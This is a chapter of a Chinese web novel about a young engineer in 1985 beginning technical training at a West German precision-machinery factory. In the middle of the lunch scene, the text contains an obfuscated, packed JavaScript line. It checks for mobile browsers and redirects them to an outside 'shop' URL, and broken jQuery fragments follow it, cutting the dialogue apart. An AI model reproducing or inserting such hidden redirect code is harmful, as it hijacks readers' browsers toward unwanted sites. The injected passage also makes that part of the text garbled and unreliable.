1985年，22岁的赵之凝，第一次登上了飞机。


    透过舷窗，她看到脚下的土地越来越远，越来越模糊。忽然，毫无预兆地，眼泪涌了上来。


    她赶紧低下头，假装整理安全带，悄悄用手抹去那一点不争气的泪水。


    再见了，所有她爱的、牵挂的、为之奋斗的人和土地。


    一年后，她会带着学到的东西，重新回到这片让她魂牵梦萦的土地。


    *


    十几个小时后，飞机在傍晚降落。


    赵之凝看出窗外，地面上灯光的密集程度让她愣了好几秒。


    舱门打开，一阵寒风灌进来，赵之凝紧了紧身上那件薄工装外套，跟着队伍走下舷梯。


    这个机场大得让她震惊，到处都是玻璃、钢铁、光滑的大理石，头顶是错综复杂的钢架结构。人们拖着带滚轮的行李箱，在宽敞的通道里匆忙赶路。


    接机口站着两个举牌子的西德人，其中一个四十来岁、穿着灰色西装的男人迎上来，用带有口音的德语说道：“欢迎来到德国，我是莱茵精密机械公司的汉斯，负责接待各位。”


    赵之凝等人分开坐上了两辆小汽车，有点受宠若惊。在国内，这种车就算是领导都不一定有机会坐。


    车驶出机场，驶上了高速公路。赵之凝贴着车窗，好奇地往外看。


    夜幕降临，城市的轮廓被灯光勾勒出来。高楼不如她想象的那么多，但每一栋都显出独特的美感。路边偶尔闪过巨大的广告牌，上面印着她不认识的俊男美女。


    最让她惊讶的是，双向八车道上的车实在太多了，让人眼花缭乱，这是只有工业发达的城市才会拥有的。


    还要过多久，他们才会有这么宽敞的道路呢？五年？十年？二十年？


    她甚至忍不住想，就算建好了高速路，到时真的会有那么多车吗？


    一个多小时的车程后，车驶入了一个工业园区。路两旁是一栋栋气派的厂房，有的窗户还亮着灯，看起来还有人在加班。


    车停在几栋五层楼前，汉斯对他们说：“这是员工宿舍区，今晚大家先休息。明天上午八点，在这里集合。”


    房间比赵之凝想象的好太多了。单人单间，有床、书桌、衣柜，还有个小小的卫生间。她放下行李，拧开水龙头，流出来的是哗啦啦的热水。


    简单洗了个澡，躺在床上时，赵之凝才感觉累得像浑身骨头都散了架似的。


    在异国他乡的第一晚，她终于体验到了什么是席梦思，却怎么也睡不着。


    *


    第二天一大早，赵之凝就醒了。


    还没到八点，大家就在昨天下车的地方集合。这时他们才发现，原来这一批参加培训的，还有来自其他国家的劳务工人。不过，由于语言不通，大家没有多作交流。


    汉斯准时出现，身旁还有个身材高大的德国人。


    汉斯介绍道：“这位是莱茵公司的施密特经理，由他负责带各位参观。今天主要是熟悉环境，明天开始正式培训。”


    施密特经理是个头发灰白的男人，一双蓝眼睛扫过这十几个劳务工人，脸上没什么表情。至于年纪，赵之凝看着像五十来岁，但也不太敢肯定，她觉得外国人的年龄跟外表并不吻合。


    “欢迎各位来到莱茵公司。”施密特一板一眼地说，“根据合作协议，你们将在这里进行为期一年的技术培训和劳务输出。公司为各位制定了相关的培训计划，希望你们严格遵守工作纪律。”


    另一边，赵之凝小声地给另外三位工友翻译。虽然他们在出国前已经突击学习了德语，但要短时间内听懂当地人说话，还是有点难度。


    昨晚坐在车上还不觉得，现在赵之凝才感觉，莱茵精密机械公司的厂区真的很大。由于厂区太大，设备要是需要维修，甚至要等维修工开电瓶车来修理。【1】


    置身其中，赵之凝真真切切理解了什么叫“现代化工厂”。


    厂房的外墙漆成深灰色，窗户又大又亮，路旁的绿植修剪得整整齐齐，路上看不到一点垃圾。工人们穿着统一的深蓝色工装，步履匆匆，但没人高声说话。


    走进第一栋厂房，赵之凝屏住了呼吸。


    太大了。


    车间里，屋顶装了密密麻麻的日光灯管，把整个车间照得如同白昼。一排排数控机床整齐排列着，控制面板上闪烁着各种指示灯，工作时车间都很安静。


    施密特经理指着一台特别庞大的机器，充满自豪地说：“这台机床可以一次性完成复杂曲面的加工，是目前全世界最先进的。”


    众人纷纷走近了看。


    这台机床的操作由电脑控制，可以自行更换各种刀具。随着刀具的移动，一个零件就这样水灵灵被加工出来了。能来培训的都是各自厂里的佼佼者，用眼睛一看就知道这个零件的加工精度有多高。


    这批劳务工人，大多来自其他发展中国家，从来没有看过这种自动化机床。这一刻，他们大开眼界，惊讶得嘴巴都合不上。


    他们就跟当年赵之凝第一次看到数控机床一样，心里像是被什么东西狠狠地撞了一下。


    差距，这就是差距。


    不是一星半点的差距，是隔着整整一个时代的鸿沟。


    他们还在靠着老师傅的手感和经验，这里已经由电脑和传感器说了算；他们还在为提高一点点精度费尽心力，这里已经能轻松完成几丝的精度要求。


    赵之凝想起广城国际展览上那台东洋的数控机床，当时觉得已经足够先进了。可现在亲身站在这儿，看着一整个车间数不清的机床有条不紊地运行，她才知道什么叫真正的先进。


    不是单单一台设备，而是整个生产系统的先进。


    面对这样的对手，我们真的有追赶的可能吗？


    这个上午，大家参观了加工车间、装配车间、检测中心、编程部、电气部等。所到之处，都让赵之凝震撼不已，更让她的心越来越沉。


    中午在厂区食堂吃饭。


    这是自助餐形式，主食有土豆泥、意面，肉类有烤肠、炸猪排，蔬菜沙拉则有好几种。赵之凝拿了些看起来没那么难吃的东西，找了个角落跟春风厂的工友坐了下来。


    “真先进啊！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116198|192171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    坐在对面的陈志强小声说，“咱们厂跟这儿比，简直就是……”


    他没说下去，但赵之凝都懂。


    方俊杰闷头干饭，半天才说：“我们得好好学，把这些都学回去。”


    李文博叹了一口气：“我们几个要先抓紧学德语，过了语言关才行。我刚才看那些数控机床的屏幕，啥都看不懂。”


    陈志强有点羡慕道：“赵工你就好啦，起码比我们懂德语。”


    赵之凝也无奈：“但是刚才发的那些材料，一大堆专业术语，我回去还得查词典才行。”


    下午，他们被带到一间会议室。


    施密特经理简单说了些注意事项，随后开始安排道：“今天下午，各位将分配到不同的部门。第一周的任务是熟悉环境，阅读技术资料。”


    会议流程很简洁，没有多余的寒暄，不到二十分钟就结束了。


    赵之凝被分到了编程部门，交给了一个叫克劳斯的主管。


    这是个三四十岁的男人，棕发稀疏，啤酒肚把工服撑得紧绷绷的。他接过关于赵之凝的文件材料，翻看了一下，抬眼打量着赵之凝。


    那种眼神让赵之凝有点不太舒服。不是审视，也不是好奇，而是……怎么说呢，像是看什么奇怪物种似的，从她的头发看到脚上的皮鞋，最后停在她的黑色眼睛上。


    事实上，在得知即将有华国人来厂里培训时，克劳斯就大吃一惊，在他的印象里，这个国家的人不是还留着长辫、裹着小脚吗？他们怎么也能做机械厂的工人呢？


    不过，上面派下来的任务如此，他也只能照办了。


    “华国人？”他用德语问。


    赵之凝点点头，用德语回道：“您好。”


    克劳斯挑了挑眉，似乎有点意外她会说德语。但也就那么一下，他很快恢复了那副公事公办的表情，从桌上拿起一份文件递过去。


    “这是车间设备清单和调试记录。你先看看，熟悉一下，暂时不要碰任何机器。”


    赵之凝感觉更不舒坦了，对方的语气带着强烈的不信任。


    克劳斯又说了几句，大致意思是让她找个空桌子看资料，有问题可以问，但不要打扰工人工作。说完就转身走了，去和一个技术员讨论什么。


    赵之凝只好在角落找了个位子坐下来，翻看起资料。


    第一页是车间设备的简介，密密麻麻的德文，列明了编号、型号、加工范围、精度等级等。她逐一看下去，越看越难受，光是这个车间的设备水平，就远远超过整个春风厂了。


    后面是设备调试记录表，他们做得非常严谨细致，每次设备维修或保养后，都要进行调试，记录各项参数。


    她一行一行地看下来，遇到有些不懂的专业术语，就用随身带的德汉词典查。


    看到一半，她突然停了下来。


    那是一份液压系统压力计算表，表格最下方有个公式，用来根据调试数据计算系统的工作压力。


    赵之凝盯着那个公式看了半天，拿起笔，在草稿纸上重新推演了一番。


    推完第二遍，她皱起了眉头。